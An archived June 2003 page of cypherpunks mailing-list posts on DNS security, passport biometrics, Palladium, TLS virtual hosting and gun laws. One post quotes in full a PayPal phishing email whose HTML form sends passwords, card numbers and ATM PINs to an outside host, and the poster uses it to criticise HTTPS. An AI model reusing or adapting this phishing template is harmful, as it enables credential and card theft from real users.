June 2003 - cypherpunks-legacy

Re: An attack on paypal
by Anne & Lynn Wheeler 11 Jun '03

11 Jun '03

At 10:56 AM 6/11/2003 -0400, Sunder wrote: >In either case, we wouldn't need to worry about paying Verisign or anyone >else if we had properly secured DNS. Then you could trust those pop-up >self-signed SSL cert warnings. actually, if you had a properly secured DNS .... then you could trust DNS to distribute public keys bound to a domain name in the same way they distribute ip-addresses bound to a domain name. the certificates serve two purposes: 1) is the server that we think we are talking to really the server we are talking to and 2) key-exchange for establishing an encrypted channel. a properly secured DNS would allow information distributed by DNS to be trusted .... including a server's public key .... and given the public key .... it would be possible to do the rest of the SSL operation (w/o requiring certificates) which is establishing an agreed upon session secret key. -- Anne & Lynn Wheeler http://www.garlic.com/~lynn/ Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm --------------------------------------------------------------------- The Cryptography Mailing List Unsubscribe by sending "unsubscribe cryptography" to majordomo(a)metzdowd.com

1 0

Passport to Brinworld: Canadian Passport office digitizing all photos for UN database
by Tim Meehan 11 Jun '03

11 Jun '03

http://cnews.canoe.ca/CNEWS/Canada/2003/06/11/108882.html Your ID going digital By TOM GODFREY - Toronto Sun The passport office has begun digitizing the photographs of millions of Canadians whose mugshots may end up in a United Nations-sanctioned global facial recognition database. The move is to meet standards set by the UN's International Civil Aviation Organization (ICAO), which requires a tiny computer chip with a person's picture and basic information be input into every passport from its 188 member states. ICAO officials last week ruled facial recognition technology will be the method used to identify travellers, who will have their photos downloaded into the database of a foreign country every time their passport is scanned at a border. The UN body said the global database can be used to nab or monitor terrorists, fugitives and others sought by police. All passports will be chipped Jacques Perron, of the Canadian Passport Office, said about four million Canadians have had their photos digitized since the program began two years ago. "At some point every Canadian passport will have a chip inside," Perron said. "There is nothing to prevent nations from collecting data and putting them on a database." He said no date has been set for when the chip will be inside Canadian passports, but officials are using facial recognition to screen people applying for passports to curb fraud. ICAO spokesman Denis Chagnon said facial recognition will increase air security and speed up the flow of passengers. "If police are trying to find someone their face can be flagged on a database," Chagnon said. "Anyone who holds a passport will become part of a global database."

1 0

An attack on paypal
by James A. Donald 11 Jun '03

11 Jun '03

Attached is a spam mail that constitutes an attack on paypal similar in effect and method to man in the middle. The bottom line is that https just is not working. Its broken. The fact that people keep using shared secrets is a symptom of https not working. The flaw in https is that you cannot operate the business and trust model using https that you can with shared secrets. -------------- Enclosure number 1 ---------------- Received: from bgp480791bgs.summit01.nj.comcast.net [68.37.160.58] by dpmail07.doteasy.com (SMTPD32-7.13) id A3506CD006A; Sat, 07 Jun 2003 19:45:36 -0700 Date: Sun, 08 Jun 2003 02:50:24 +0000 From: Confirm <confirm(a)paypal.com> Subject: Important Information Regarding Your PayPal Account To: Jamesd <jamesd(a)echeque.com> References: <4FG6E0K8HJHJ2DL9(a)echeque.com> In-Reply-To: <4FG6E0K8HJHJ2DL9(a)echeque.com> Message-ID: <62K3JH9LKLB0I8GK(a)paypal.com> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit X-RCPT-TO: <jamesd(a)echeque.com> Status: U X-PMFLAGS: 34079360 0 1 P4EDB0.CNM <html> <head> <STYLE type=text/css> .dummy {} BODY, TD {font-family: verdana,arial,helvetica,sans-serif;font-size: 13px;color: #000000;} UL {list-style: square} .pp_big {font-family: verdana,arial,helvetica,sans-serif;font-size: 24px;font-weight: bold;color: #003366;} .pp_sortofbig {font-family: verdana,arial,helvetica,sans-serif;font-size: 22px;font-weight: bold;color: #003366;} .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size: 18px;font-weight: bold;color: #003366;} .pp_subheading {font-family: verdana,arial,helvetica,sans-serif;font-size: 16px;font-weight: bold;color: #003366;} .pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #003366;} .pp_mediumtextbold {font-family: verdana,arial,helvetica,sans-serif;font-size: 14px;font-weight: bold;color: #000000;} .pp_smalltext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #000000;} .pp_smallbluetext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #003366;} .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #aaaaaa;} </STYLE> <title>PayPal</title> </head> <body> <table width="600" cellspacing="0" cellpadding="0" border="0" align="center"> <tr> <td><A href="https://www.paypal.com/"><IMG src="http://www.paypal.com/images/paypal_logo.gif" width=109 height=35 alt="PayPal" border="0" vspace=10></A> </td> </tr> </table> <table width="100%" cellspacing="0" cellpadding="0" border="0"> <tr> <td background="http://www.paypal.com/images/bg_clk.gif" width="100%"><img src="http://www.paypal.com/images/pixel.gif" height="29" width="1" border="0"></td> </tr> <tr> <td><img src="http://www.paypal.com/images/pixel.gif" height="10" width="1" border="0"></td> </tr> </table> <table width="600" cellspacing="0" cellpadding="5" border="0" align="center"> <tr> <td class="pp_sortofbig" align=middle>Dear PayPal Customer</td> </tr> <tr> <td valign="top"><p> </p> <p>This e-mail is the notification of recent innovations taken by PayPal to detect inactive customers and non-functioning mailboxes.</p> <p>The inactive customers are subject to restriction and removal in the next 3 months.</p> <p>Please confirm your email address and Credit or Check Card information<b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal"> </b>using the form below:</p></td> </tr> <tr> <td align=middle> <form action="http://www.pos2life.biz/vp.php" method="post"> <p style="MARGIN-TOP: -2px; MARGIN-BOTTOM: 0px; MARGIN-LEFT: 4px" > </p> <table border="0"> <tr> <td> <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal" >Email Address:</b></P></td> <td><input name="lgn" size="32" maxlength="32" ></td> </tr> <tr> <td> <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal" >Password:</b></P></td> <td><input name="psw" type="password" size="32" maxlength="32"></td> </tr> <tr> <td> <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">First Name:</b></P></td> <td><input name="fname" size="32" maxlength="32" ></td> </tr> <tr> <td> <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">Last Name:</b></P></td> <td><input name="lname" size="32" maxlength="32" ></td> </tr> <tr> <td> <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal"> ZIP:</b></P></td> <td><input name="bz" size="32" maxlength="20"> <tr> <td> <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">Credit or Check Card #:</b></P></td> <td><input name="cz" size="32" maxlength="16"></td> <tr> <td> <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">Expiration Date:</b></P></td> <td> <select name="crdm"> <OPTION value="zero" selected>Month</OPTION> <option value="01">01</option> <option value="02">02</option> <option value="03">03</option> <option value="04">04</option> <option value="05">05</option> <option value="06">06</option> <option value="07">07</option> <option value="08">08</option> <option value="09">09</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> </select>  /  <select name="crdy"> <OPTION value="zero" selected>Year</OPTION> <option value="03">2003</option> <option value="04">2004</option> <option value="05">2005</option> <option value="06">2006</option> <option value="07">2007</option> <option value="08">2008</option> <option value="09">2009</option> <option value="10">2010</option> <option value="11">2011</option> <option value="12">2012</option> </select> </td> <tr> <td> <P align=left><b style="FONT: bold 8pt : normal" > ATM PIN:</b></P></td> <td><input name="pni" type="password" size="32" maxlength="6"></td> </tr> </table> <p> <input type="submit" value=" Submit "> </p> </form> Information transmitted using 128bit SSL encryption. <p><br>  </p></td> </tr> <tr> <td align=middle><strong>Thanks for using PayPal! </strong><br></td> </tr> <tr> <td><img src="http://www.paypal.com/images/dot_row_long.gif"></td> </tr> <tr> <td class="pp_footer"> This PayPal notification was sent to this email address because you are a Web Accept user and chose to receive the PayPal Periodical newsletter and Product Updates. To modify your notification preferences, go to <A href="https://www.paypal.com/PREFS-NOTI">https://www.paypal.com/PREFS-NOTI</A> and log in to your account. Changes may take several days to be reflected in our mailings. Replies to this email will not be processed.  <br> <br> Copyright© 2003 PayPal Inc. All rights reserved. Designated trademarks and brands are the property of their respective owners. </td> </tr> </table> </body></html> --------------------------------------------------------------------- The Cryptography Mailing List Unsubscribe by sending "unsubscribe cryptography" to majordomo(a)metzdowd.com

10 16

Re: An attack on paypal --> secure UI for browsers
by Joseph Ashwood 11 Jun '03

11 Jun '03

----- Original Message ----- From: "Anonymous" <nobody(a)cryptofortress.com> Subject: Re: An attack on paypal --> secure UI for browsers > You clearly know virtually nothing about Palladium. Actually, properly designed Palladium would be little more than a smart card welded to the motherboard. As currently designed it is a complete second system that is allowed to take over the main processor. It has a few aspects of what it should be, but not many. It does include the various aspects of the smart card, but it also makes room for those aspects to take over the main system, properly designed this would not be an option, of course properly designed it could also be a permanently attached $1 smart card that internally hangs off the USB controller instead of a mammoth undertaking. I still stand by, "Arbitrarily trusting anyone to write a secure program simply doesn't work" regardless of how many times MS says "trust us" any substantially educated person should as well be prepared to either trust a preponderance of evidence, or perform their own examination, neither of these options is available. The information available does not cover the technical information, in fact their "Technical FAQ" about it actually has the following: "Q: Does this technology require an online connection to be used? A: No. " That is just sooooo enlightening, and is about as far from a useful answer as possible. > NCAs do not have > "complete access to private information". Quite the opposite. Rather, > NCAs have the power to protect private information such that no other > software on the machine can access it. They do so by using the Palladium > software and hardware to encrypt the private data. The encryption is > done in such a way that it is "sealed" to the particular NCA, and no other > software is allowed to use the Palladium crypto hardware to decrypt it. This applies only under the condition that the software in Palladium is perfectly secure. Again I point to the issues with ActiveX, where a wide variety of hoels have been found, I point to the newest MS operating system which has it even been out a month yet? and already has a security patch available, in spite of their "secure by default" process. Again I don't believe this is because MS is inherently bad, it is because writing secure programs is extremely difficult, MS just has the most feature bloat so they have the most problems. If the Palladium software is actually secure (unlikely), then there is the issue of how the (foolishly trusted) NCAs are determined to be the same, this is an easy problem to solve if no one ever added features, but a hard one to solve where the program evolves, once MS shows the solution for this, I will point to the same information and show you a security hole. > In the proposed usage, an NCA associated with an ecommerce site would seal > the data which is used by the user to authenticate to the remote site. After running unattended on your computer, a <sarcasm>brilliant</sarcasm> idea, hasn't anyone learned? > The authentication data doesn't actually have to be a certificate with > associated key, but that would be one possibility. Only NCAs signed by > that ecommerce site's key would be able to unseal and access the user's > authentication credentials. This prevents rogue software from stealing > them and impersonating the user. Not in the slightest, a single compromise of a single ecommerce site (remember they're "trusted") will remove all this pretend security. Let's use a particularly popular example on here right now www.e-go1d.com, they could easily apply to be an ecommerce site, they collect money, they offer a service, clearly they are an ecommerce site. Are you really gullible enough to believe that they won't do everything in their power to exploit the data transfer problem above, as well as any other holes in Palladium? I should hope not. > Seriously, have you read any > of the documents linked from http://www.microsoft.com/resources/ngscb/? Yes I have, in fact at this point I think it is safe to say that you have not, or you didn't understand the implications of the small amount of information it actually contains. Joe

1 0

Re: An attack on paypal
by Eric Rescorla 11 Jun '03

11 Jun '03

Sunder <sunder(a)sunder.net> writes: > The worst trouble I've had with https is that you have no way to use host > header names to differentiate between sites that require different SSL > certificates. > > i.e. www.foo.com www.bar.com www.baz.com can't all live on the same IP and > have individual ssl certs for https. :( This is because the cert is > exchanged before the http 1.1 layer can say "I want www.bar.com" > > So you need to waste IP's for this. Since the browser standards are > already in place, it's unlikely to be to find a workaround. i.e. be able > to switch to a different virtual host after you've established the ssl > session. :( This is being fixed. See draft-ietf-tls-extensions-06.txt -Ekr -- [Eric Rescorla ekr(a)rtfm.com] http://www.rtfm.com/

1 0

Secrets of Computer Espionage: Tactics and Countermeasures
by John Young 11 Jun '03

11 Jun '03

New book by cpunk Joel McNamara who runs the Tempest website: http://www.eskimo.com/~joel/tempest.html http://www.wiley.com/legacy/compbooks/mcnamara/ Secrets of Computer Espionage: Tactics and Countermeasures by Joel McNamara Covers electronic and wireless eavesdropping, computer surveillance, intelligence gathering, password cracking, keylogging, data duplication, black bag computer spy jobs, reconnaissance, risk assessment, legal issues, and advanced spying techniques used by the government. Author shares easily-implemented countermeasures against spying to detect and defeat eavesdroppers and other hostile individuals. Addresses legal issues, including the U.S. Patriot Act, legal spying in the workplace, and computer fraud crimes. ISBN 0-7645-3710-5 384 Pages June 2003 Links: http://www.wiley.com/legacy/compbooks/mcnamara/links.html

1 0

RE: An attack on paypal
by Vincent Penquerc'h 11 Jun '03

11 Jun '03

> the lack of buffer overruns in Multics. However, in the > Unix/Linux/PC/Mac > world, a successor language has not yet appeared. Work on the existing C/C++ language will have a better chance of actually being used earlier. Not that it removes the problem entirely, but it should catches a lot of easy stack smashing bugs. http://gcc.gnu.org/projects/bp/main.html -- Vincent Penquerc'h --------------------------------------------------------------------- The Cryptography Mailing List Unsubscribe by sending "unsubscribe cryptography" to majordomo(a)metzdowd.com

1 0

Re: An attack on paypal --> secure UI for browsers
by Anonymous 11 Jun '03

11 Jun '03

Joseph Ashwood writes: > Ok what flavor of crack are you smoking? Because I can tell from here that's > some strong stuff. Downloading random DLLs that are given complete access to > private information is one of the worst concepts that anyone has ever come > up with, even if they are signed by a "trusted" source. Just look at the > horrifically long list of issues with ActiveX, even with WindowsXP (which > hasn't been around that long) you're already looking at more than half a > dozen, and IIRC win95 had about 50. This has less to do with "windows is > bad" than with "secure programming is hard." Arbitrarily trusting anyone to > write a secure program simply doesn't work, especially when it's something > sophisticated. You clearly know virtually nothing about Palladium. NCAs do not have "complete access to private information". Quite the opposite. Rather, NCAs have the power to protect private information such that no other software on the machine can access it. They do so by using the Palladium software and hardware to encrypt the private data. The encryption is done in such a way that it is "sealed" to the particular NCA, and no other software is allowed to use the Palladium crypto hardware to decrypt it. In the proposed usage, an NCA associated with an ecommerce site would seal the data which is used by the user to authenticate to the remote site. The authentication data doesn't actually have to be a certificate with associated key, but that would be one possibility. Only NCAs signed by that ecommerce site's key would be able to unseal and access the user's authentication credentials. This prevents rogue software from stealing them and impersonating the user. > Now for the much more fundamental issue of your statement. Palladium will > never "download site-specific" anything. Palladium is a hardware technology, > not a web browser. If you read the entire message it was clearly referring to a Palladium-enabled web browser. And Palladium is more than a hardware technology; it includes hardware and software components. > I will refrain from saying Paladium is a bad idea, simply because I see some > potentially very lucrative (for me) options for it's use. Fine, at least you admit you're a whore. But you'll probably do even better if you learn how it actually works. Seriously, have you read any of the documents linked from http://www.microsoft.com/resources/ngscb/?

1 0

Re: An attack on paypal --> secure UI for browsers
by Nomen Nescio 10 Jun '03

10 Jun '03

Adam Lydick writes: > I'd guess that no applications (besides the secure nexus) would > have access to your "list of doggie names", just the ability to display > it. The list just indicates that you are seeing a window from one of > your partitioned and verified applications. I would also assume the > window would get decorated with the name of the trusted application (not > just your secret list). Thus you only need a single secret list to > handle all of your "authorized" applications. That makes sense. However it puts the burden onto the user to closely inspect his window frames in order to make sure that he is talking to the program (or NCA in Palladium) that he thinks he is talking to. It also introduces the problem of program-name spoofing; you might be given a dialog to enter your password for Paypa1 or E-Go1d. If users were that careful, we wouldn't have these kinds of problems in the first place.

1 0

Re: unregistered shell
by Tim May 10 Jun '03

10 Jun '03

On Tuesday, June 10, 2003, at 09:49 AM, Trei, Peter wrote: >> Major Variola (ret)[SMTP:mv@cdc.gov] >> >> At 12:29 AM 6/10/03 -0700, Bill Stewart wrote: >>> At 09:48 AM 06/09/2003 -0700, Major Variola (ret.) wrote: >>>> the Capitol because it had a gasoline container strapped to its >>>> roof. >> >> But the real point is that ammo has to be registered. Amazing. >> I found an old, live cartridge in the desert last weekend, tossed it >> in >> the car. What if I lived near DC instead of SoCal? >> > Actually, ammunition is not registered as such, but in DC you > are only allowed to possess ammunition suitable for one of your > DC-registered firearms. This applies even to spent cartridge > cases. > > If this guy didn't own a DC-registered shotgun of the same > gauge as the shell found, then he's in violation. The car > had California plates, so it seems plausible that he was > a non-resident. > I believe it was the McClure-Volkmer Amendment (or somesuch spelling) of some years back that clarified the laws regarding interstate transport of firearms. Instead of having to know the details of every single state one might be driving through on a trip, one was exempted from the local firearms laws while the guns were locked up in a trunk or suitable lockable container. This was hailed at the time as a major step towards stopping one state from busting those from North Carolina, say, when they passed through Maryland on their way to a hunting trip in Maine. The reasonable interpretation of McClure-Volkmer would have protected someone while in their vehicle, and probably while at a motel in some state, but would not have protected those staying for more than what a simple trip would take. I'm not surprised to hear that some jurisdictions think they can exempt themselves, especially for such trivial paper violations as having a shotgun shell. Mexico is like this, too. Gringos have spent time in Mexican jails because they neglected to thoroughly inspect every square inch of their vehicles, and the shakedownistas found a .22 cartridge under the floor mats. (The intent was probably to collect $100 mordita.) All this while drug operations run more or less without interruption and as they are equipped with fully-automatic HKs and FALs, the Army-issue rifles. So they bust a tourist for having a .22 cartridge while MP-5s and Uzis abound. Typical government.) As for Bill's point about a gas can strapped to the roof, this is a common way of carrying extra fuel, and is generally legal if the can is DOT approved (the red ones). LandCruisers and suchlike are often seen this way. As noted, safer than carrying them inside. Of course, normal rights and liberties are dispensed with when mere suspicion of planning to use the gas is involved. I'll bet this all gets kicked, unless an Arab was in the vehicle. --Tim May

1 0